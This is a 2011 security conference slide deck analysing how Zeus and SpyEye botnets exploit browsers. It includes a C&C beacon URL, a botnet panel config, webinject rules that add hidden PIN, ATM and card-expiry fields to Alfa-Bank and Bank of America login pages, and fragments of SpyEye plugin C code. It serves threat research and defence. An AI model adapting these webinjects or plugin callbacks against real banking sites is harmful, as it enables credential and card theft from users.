Botnets and Browsers
Brothers in the Ghost Shell

BruCon Security/Hacking Conference
Brussels . 19-20 September, 2011

Aditya K Sood (Security Practitioner)
SecNiche Security | Department of Computer Science and Engineering
Michigan State University
Whoami!

- Aditya K Sood
  - Founder, SecNiche Security Labs
    - Independent Security Consultant, Researcher and Practitioner
    - Worked previously for Armorize, Coseinc and KPMG
    - Active Speaker at Security conferences
    - Written Content – Virus Bulletin/ISSA/ISACA/CrossTalk/HITB/Hakin9/Elsevier NESE|CFS
    - LinkedIn: [http://www.linkedin.com/in/adityaks](http://www.linkedin.com/in/adityaks)
  - PhD Candidate at Michigan State University
    - [http://www.cse.msu.edu/~soodadit](http://www.cse.msu.edu/~soodadit)
Overview and Disclaimer

- Benchmark
  - This talk discusses about the infection model of browsers and bots
  - Botnets have many capabilities. Our target is only browsers and bots.
    - Mainly exploitation of browsers.
  - This talk is not about simple botnet commands. Sorry!
  - Scope is third generation botnets and browser manipulation
  - This research relates to my own efforts and does not provide the view of any of my employers.
Agenda

- Walking through the Agenda
  - Browser Malware Taxonomy
  - Bots & Browsers – Collaborative Design
  - Bots & Browsers – Exploitation Paradigm
  - Browser/ Bot – Web Injects & Web Fakes
  - Conclusion
World Wide Web - Problem

[Diagram showing a computer with a Trojan horse, representing malicious software.]
# Browser Malware Taxonomy #
Browser Malware Taxonomy

- Class A – Browser Malware

Browser Malware Taxonomy

- Class B – Browser Malware

Browser Malware Taxonomy

- Class C – Browser Malware

Infection Model – Malware Serving

1. Exploiting Web vulnerabilities (XSS/SQL)
2. Obfuscated Code Injected
3. JavaScript eval() – The Evil Machine
4. Browser DOM Calls
5. Rendered Interactive Frames
6. Pointed to Malicious Domain
Drive by Downloads – Insidious Infection

- Browser – Loads Malicious URL
- Vulnerability in Browser is Exploited
- Exploits trigger Shellcode
- Malware Binary Dropped
- Parasitic Infection Occurs in System
- Malware Installed and Connect Back
Browsers ➔ Botnets : SDK

- Custom Designed SDK
  - Botnets use self build SDK for infection purposes
  - Browser communication
    - Bots use the SDK functions with plugins to communicate back to C&C using browser interface
  - Concept of Bot Development Kit (BDT) – as similar to SDK
  - Example:
    - SpyEye BDT

SpyEye Plugin's SDK

- Introduction
- API
  - Calling convention
  - Init
  - Start
  - Stop
  - TakeGateToCollector
  - TakeGateToCollector2
  - TakeBotGuid
  - TakeBotPath
  - TakeBotVersion
  - GetState
  - KeepAlive
  - IsGlobal
  - Callback_OnBeforeProcessUrl
  - Callback_OnBeforeLoadPage3
  - Callback_OnAfterLoadingPage
  - Callback_ChangePostRequest
  - FreeMem
  - TakeGetPage
  - TakeGetPage2
  - TakeFreeMem
  - Callback_WS2_32_send
  - TakeConfigCrc32Callback
  - TakeBotExeMd5Callback
  - TakePluginsListCallback
  - TakeMainCpGateOutputCallback
  - MainCpGateInput
  - TakeUpdateBotExe
  - TakeUpdateConfig
  - TakeStartExe
- Shellcodes - low-level plugins
- FAQ
  - q: How to implement webfakes?
  - q: Why do I need a customconnector plugin?
Bots and Custom Connector Plugin

- **Design of Plugins**
  - Bot requires separate plugin to communicate back with the C&C server
  - Bot sends critical information through GET requests

- **Why Plugin is Used?**
  - Provides modular control over the bots
  - Update the main bot executable present on the victim machine
  - Update the bot configuration directly through admin panel
  - Start/Stop for a bot plugin – Depends on the availability

- **What Type of Information?**
  - gate.php?guid=!USER-5C377A2CCF!046502F4&ver=10207&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&ccrc=13A7F1B3&md5=b9c3cb2cdc66b1f4465fe56cc34040b2&plg=customconnector
Bots and Custom Connector Plugin

- Design of Plugins
  - API in Action
    - `TakeBotGuid / TakeBotVersion / TakeConfigCrc32Callback`
    - `TakeBotExeMd5Callback / TakePluginsListCallback`

![Diagram of API interaction]

```plaintext
Gate.php

Get Page

Custom Connector Plugin

SpyEye Bot

Input – Main Panel

Output – Main Panel
```
Custom Connector Plugin

- What Lies Beneath?
  - A mediator between bot and the main admin panel
  - Good enough to make decisions whether to send request to C&C or not
  - Generates encryption based channel between C&C and itself
  - Very productive for creating decentralized botnet based on plugins

- Operations!
  - Update bot configuration - UPDATE_CONFIG
  - Update bot executable - UPDATE
  - Manage plugins – PLUGIN
  - Load third-party exe - LOAD
Bot – Custom Connector in Action
# Browser/ Bot – Exploitation Paradigm #
Reality of the Bots

- Inside Bot - Characteristics
  - Similar working to ring 3 rootkit
    - DLL hooking and hijacking in userland space
    - Perform injections in web processes
  - Hooks HTTP communication interface
    - Exploit browsers - on the fly content injections
  - Infection = \{Bots + Plugins\}
Man In the Browser (MITB)

- The Reality of MITB
  - Malware (bot/trojan) having an ability to infect victim browsers
  - Capable enough to modify web pages, perform non legitimate transactions
  - Invisible to users and browsers
  - Steal the credit card number efficiently
  - Spying browser sessions

User Agent Fingerprinting

- Detecting the state of running browser in the system
- Provides plethora of information about browser versions
  - Typically requires to serve specific exploits for downloading bots

User visits a malware domain

Browser sends User Agent string

Malware scans the User Agent string

Malware exploits the browser

Malware detects the browser version
# Browser – User Agents

<table>
<thead>
<tr>
<th>Firefox 3.6.12</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Mozilla</strong></td>
</tr>
<tr>
<td><strong>5.0</strong></td>
</tr>
<tr>
<td><strong>Windows</strong></td>
</tr>
<tr>
<td><strong>U</strong></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><strong>Windows NT 6.0</strong></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><strong>en-US</strong></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><strong>rv:1.9.2.12</strong></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><strong>Gecko</strong></td>
</tr>
<tr>
<td><strong>20101026</strong></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><strong>Firefox</strong></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><strong>3.6.12</strong></td>
</tr>
<tr>
<td><strong>.NET CLR 3.5.30729</strong></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><strong>.NET4.0C</strong></td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>

---

Firefox
version 3.0.2
©1998-2008 Contributors. All Rights Reserved. Firefox and the Firefox logos are trademarks of the Mozilla Foundation. All rights reserved.

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092318
Fedora/3.0.2-1.fc9 Firefox/3.0.2

Credits

Android platform and version number

Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; Nexus One Build/FRG83)
AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1

Optional. In the Android User-Agent, if this “mobile” string exists, it signals a mobile user (rather than, for example, a tablet user).
Real Time Example: Browser Sniffing

Sniffer.js is passed in cookie.
Real Time Example: Browser Sniffing

// Attempts to discover what operating system the client is using.

// Function discoverOS()
{

    // What platform are we on?
    isWin = ((userAgent.indexOf("win") != -1) || (userAgent.indexOf("16bit") != -1));

    isWin95 = ((userAgent.indexOf("win95") != -1) || (userAgent.indexOf("windows 95") != -1));

    isWin16 = ((userAgent.indexOf("win16") != -1) || (userAgent.indexOf("16bit") != -1) ||
                (userAgent.indexOf("windows 3.1") != -1) || (userAgent.indexOf("windows 16-bit") != -1));

    isWin31 = ((userAgent.indexOf("windows 3.1") != -1) || (userAgent.indexOf("win16") != -1) ||
                (userAgent.indexOf("windows 16-bit") != -1));

    isWinME = ((userAgent.indexOf("win 9x 4.90") != -1));

    isWin2k = ((userAgent.indexOf("windows nt 5.0") != -1) ||
                (userAgent.indexOf("windows 2000") != -1));

    isWinXP = ((userAgent.indexOf("windows nt 5.1") != -1) ||
                (userAgent.indexOf("windows xp") != -1));

    isWinVista = (userAgent.indexOf("windows nt 6.0") != -1);

    isWin7 = (userAgent.indexOf("windows nt 6.1") != -1);

    isWin64 = ((userAgent.indexOf("wow64") != -1) ||
                (userAgent.indexOf("win64") != -1));

    // NOTE: Reliable detection of Win98 with Navigator 4.x and below may not be
    // possible since you just get "Windows" in the user-agent.
    isWin98 = ((userAgent.indexOf("win98") != -1) || (userAgent.indexOf("windows 98") != -1));

    isWinNT = ((userAgent.indexOf("winnt") != -1) || (userAgent.indexOf("windows nt") != -1) && !isWinXP);

    isWinCE = ((userAgent.indexOf("wince") != -1) || (userAgent.indexOf("windows ce") != -1) ||
                (userAgent.indexOf("windowsce") != -1));
}
Browser Exploit Packs and Bots

- Is This True Artifact?
  - Yes it is.
    - BEP’s are used in conjunction with botnets
    - On successful exploitation, bot is dropped into victim machine
    - Harnessing the power of two different frameworks to deliver malware
    - Some traces have been seen of ZEUS (Botnet) + BlackHole (BEP)

```php
$DBHOST = "localhost";
$DBNAME = "Zeus";
$DBUSER = "root";
$DBPASS = "pass";
$ADMINPW = "aaf4c61d6c5e8a2dabed0f3b482cd9ae9434d"; // SHA-1 Hash from your password
$ACTIVATION_PASSWORD = "suckit";
$BANTIME = 86400;
$SOUND = "Disabled";
$COUNTRIES = array("RU" => "ashrfwdogsfxvn.exe", "DE" => "ashrfwdogsfxvn.exe", "US" => "ashrfwdogsfxvn.exe");
```
Browser – Screen Scrapers

- Why?
  - Capturing screenshots from victim machines during bank transactions
  - It is possible to capture whole system screenshots not only browser activities
  - Provides additional support for bots for data exfiltration
  - Exploit the system level functions and generic modules

- How?
  - Mouse cursor is the reference point which is the center of the screenshot
  - Explicit rules are defined for capturing screenshots
  - Rules consist of following parameters
    - URL_MASK
    - WIDTH
    - HEIGHT
    - MINIMUM_CLICKS
    - MINIMUM_SECONDS
Browser – Screen Scrapers
Browsers - Form Grabbing

- Why?
  - Keylogging produces plethora of data
  - Form grabbing – extracting data from the GET/POST requests
  - Based on the concept of hooking and DLL injection
  - Virtual Keyboards
    - Implements the form grabbing functionality to send POST requests
    - No real protection against malware
Browsers - Form Grabbing

- **Facts and Reality**
  - All the botnets (Banking, IRC etc) use this technique
  - Very hard to overcome the consequences
  - All browsers can be circumvented to execute non legitimate hooks
Credit Card Grabber - Verification

Why the Credit Card number stealing is a success?

- Bots are always successful in extracting credentials from the POST request
- Question – Aren’t bot make mistakes in extracting Credit Card (CC) numbers?
- Well, bots are very smart in nature. They use inbuilt CC plugins.
- CC Verification – The credit card number is verified against LUHN’s algorithm prior to send it to botnet database. Viola!

<table>
<thead>
<tr>
<th>Card Type</th>
<th>Prefix(es)</th>
<th>Active</th>
<th>Length</th>
<th>Validation</th>
<th>Symbol for coverage chart</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bankcard[3]</td>
<td>5610, 560221-560225</td>
<td>No</td>
<td>16</td>
<td>Luhn algorithm</td>
<td>BC</td>
</tr>
<tr>
<td>China Union Pay</td>
<td>622 (622126-622225)</td>
<td>Yes</td>
<td>16, 17, 18, 19</td>
<td>unknown</td>
<td>CUP</td>
</tr>
<tr>
<td>Diners Club Carte Blanche</td>
<td>300-305</td>
<td>Yes</td>
<td>14</td>
<td>Luhn algorithm</td>
<td>DC-CB</td>
</tr>
<tr>
<td>Diners Club enRoute</td>
<td>2014, 2149</td>
<td>No</td>
<td>15</td>
<td>no validation</td>
<td>DC-rR</td>
</tr>
<tr>
<td>Diners Club International[4]</td>
<td>36</td>
<td>Yes</td>
<td>14</td>
<td>Luhn algorithm</td>
<td>DC-Int</td>
</tr>
<tr>
<td>JCB</td>
<td>35</td>
<td>Yes</td>
<td>16</td>
<td>Luhn algorithm</td>
<td>JCB</td>
</tr>
<tr>
<td>JCB</td>
<td>1800,2131</td>
<td>Yes</td>
<td>15</td>
<td>Luhn algorithm</td>
<td>JCB</td>
</tr>
<tr>
<td>Maestro (debit card)</td>
<td>5020,5038,6304,6759</td>
<td>Yes</td>
<td>16, 18</td>
<td>Luhn algorithm</td>
<td>Maes</td>
</tr>
<tr>
<td>MasterCard</td>
<td>51-55</td>
<td>Yes</td>
<td>16</td>
<td>Luhn algorithm</td>
<td>MC</td>
</tr>
<tr>
<td>Solo (debit card)</td>
<td>6334, 6767</td>
<td>Yes</td>
<td>16, 18, 19</td>
<td>Luhn algorithm</td>
<td>Solo</td>
</tr>
<tr>
<td>Switch (debit card)</td>
<td>4903,4905,4911,4936,564182,633110,63333,6759</td>
<td>Yes</td>
<td>16, 18, 19</td>
<td>Luhn algorithm</td>
<td>Switch</td>
</tr>
<tr>
<td>Visa Electron</td>
<td>417500,4917,4913</td>
<td>Yes</td>
<td>16</td>
<td>Luhn algorithm</td>
<td>Visa</td>
</tr>
</tbody>
</table>
Browser/ Bot – Web Injects & Web Fakes
Web Injects — Infection on the Fly

- Web Injects
  - Injecting incoming request with malicious content
  - Web page is tampered which looks legitimate
    - Primary aim is to inject credential stealing forms and input tags
    - Similar concept is used to inject pointers to remote malware site.
    - Concept of Third Generation Botnets (Give me your money 😊)

```html
set_url https://click.alfabank.ru/ALFAIBSR/ControllerServlet?G
</input><input class="text_login" type='password' name='password' /></td>
        <input class='text' type='text' name='ATM' size='13' value=''
        style='display:none' disabled>*</td>
        <input class='text' type='text' name='PIN' size='13' value=''
        style='display:none' disabled>*</td>
        <input class='text' type='text' name='EXP' size='13' value=''
        style='display:none' disabled>*</td>
```
Web Injects – How?

- Web Injects
  - DLL Injections
    - Long live exploitation technique
  - Browser Libraries
    - ffhookdll.dll
      - The name can be different but the basic exploitation remains same
      - Hard to edit the Firefox executable. So DLL injection serves best
      - Injecting malicious DLL to the Import Address Table using IAT hooking.
    - iehookdll.dll
      - Used for exploiting Internet Explorer communication interface
    - Webinjects.txt
      - Rule file used for defining injection metrics (discussed in next part)
      - Used for debugging purposes to test and verify the injections before the actual bot performs infection
      - The exploitation is done on the HTTP responses returning back form the sever

```c
//Find the address of the kernel32.dll
HMODULE hLocKernel32 = FARPROC hLocLoadLibrary

//Adjust token privilege
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
```
Web Injects – Log Detection

Web Injects – Action

```php
# BOA injects
#
# changing title here
set_url *bankofamerica.com*index* GP

(data_before
data_title
(data_after
</title>
data_end

(data_inject
infect is here (==)
data_end

(data_after
</title>
data_end

# Prefill
set_url *bankofamerica.com/* GP

(data_before
data_end
(data_inject
rememberme_prefill = "";
data_end

data_after
if (rememberme_prefill != "")
data_end

# Grabbing Account Type
set_url https://onlineeast#.bankofamerica.com/*GotoWelcome* GP

(data_before
data_end
(data_inject
BOA : Account Type
data_end
data_after
```
Web Injects – Metrics

- What is meant by GPH flags?
  - Exploitation and infection metrics
    - G - injection will be made only for the resources that are requested by the GET
    - P - injection will be made only for the resources that are requested by the POST
    - L - is a flag for grabbing content between the tags `data_before` and `data_after` inclusive
    - H – similar as L except the ripped content is not included and the contents of tags `data_before` and `data_after`
Web Injects – Zeus and SpyEye

- Web Injects
  - Sequence of metrics (as discussed earlier)
    - SpyEye – sequence should follow `data_before, data_inject, data_after`
    - Zeus – sequence does not matter
  - Injection content
    - SpyEye requires specific rules to be designed using `set_url`
    - Zeus primarily injects malicious Cascading Style Sheets (CSS) and JavaScripts (JS).
  - Source – bots
    - Zeus and SpyEye bots perform the requisite infection
    - Bot reads the configuration parameters using plugin interface
    - Browser’s HTTP communication channel is infected
Web Fakes

- Understanding Web Fakes
  - Plugins used to spoof the content in browsers
  - Supports both protocols HTTP/HTTPS
  - Based on the concept of internal URL redirection
  - All browsers are affected

- How?
  - Plugins use the defined metrics in the configuration file
    - URL_MASK
    - URL_REDIRECT
    - FLAGS
    - POST_BLACK_MASK
    - POST_WHITE_MASK
    - BLOCK_URL
    - WEBFAKE_NAME
    - UNBLOCK_URL
Web Fakes – Function Calls

54. DLLEXPORT void Callback_OnBeforeLoadPage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szPostVars, OUT PCHAR * lpszContent, OUT PDWORD lpdwSize)
55. {
56.     if (!strstr(szUrl, "google")) {
57.         DebugWrite("Output : \n\n\n\n", data);
58.         if (!checkmem_forread(lpszContent, sizeof(DWORD))) {
59.             DebugWrite("[ERROR] : Achtung! : *lpszContent == 0x0000 is not readable", *lpszContent);
60.             return;
61.         }
62.         *lpszContent = (PCHAR)malloc(sizeof(data));
63.         if (!*lpszContent) {
64.             DebugWrite("[ERROR] : Achtung! : *lpszContent == NULL");
65.             return;
66.         }
67.         CopyMemory(*lpszContent, data, sizeof(data));
68.         *lpdwSize = sizeof(data);
69.     }
70. }
71.
72. DLLEXPORT void Callback_ProcessContentOfPage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szPageContent, OUT PCHAR * szOut, IN OUT PDWORD lpdwSize)
73. {
74.     if (strstr(szUrl, "google")) {
75.         DWORD dwMaxSize = 200000;
76.         if (dwMaxSize < strlen(szPageContent))
77.             return;
78.         *szOut = (PCHAR)malloc(dwMaxSize);
79.         if (!*szOut)
80.             return;
81.         strncat(*szOut, dwMaxSize);
82.         CopyMemory(*szOut, szPageContent, strlen(szPageContent));
83.         PCHAR szPos = strstr(*szOut, "porno");
84.         if (szPos) {
85.             CopyMemory(szPos, "xxxxx", 5);
86.         }
87.         *lpdwSize = strlen(szPageContent);
88.     }
89. }
90.
Web Fakes – Real Example
The Ghost (Exploitation) Shell Persists
Conclusion

- So What!
  - Third generation botnets success greatly depends on browsers
  - Browser has become the most predominant part of exploitation
  - Dropping bots using Drive by Downloads is an easy process
  - Hooking browser is not a big stake factor
  - Bot Development Kits (BDKs) are in action
  - Browser is the main windows to the internet, so as to the risk
  - Hard to prevent malware that resides inside browsers
  - Plugins-Addons are also responsible for circumventing the browser security
  - Protection requires much more efforts than the present times.
Questions / Thanks

- BruCon Crew
  - For all the support and help

- SecNiche Security Labs
  - All my team members for their cooperation

- Contact
  - LinkedIn – http://www.linkedin.com/in/adityaks
  - Twitter - @AdityaKSood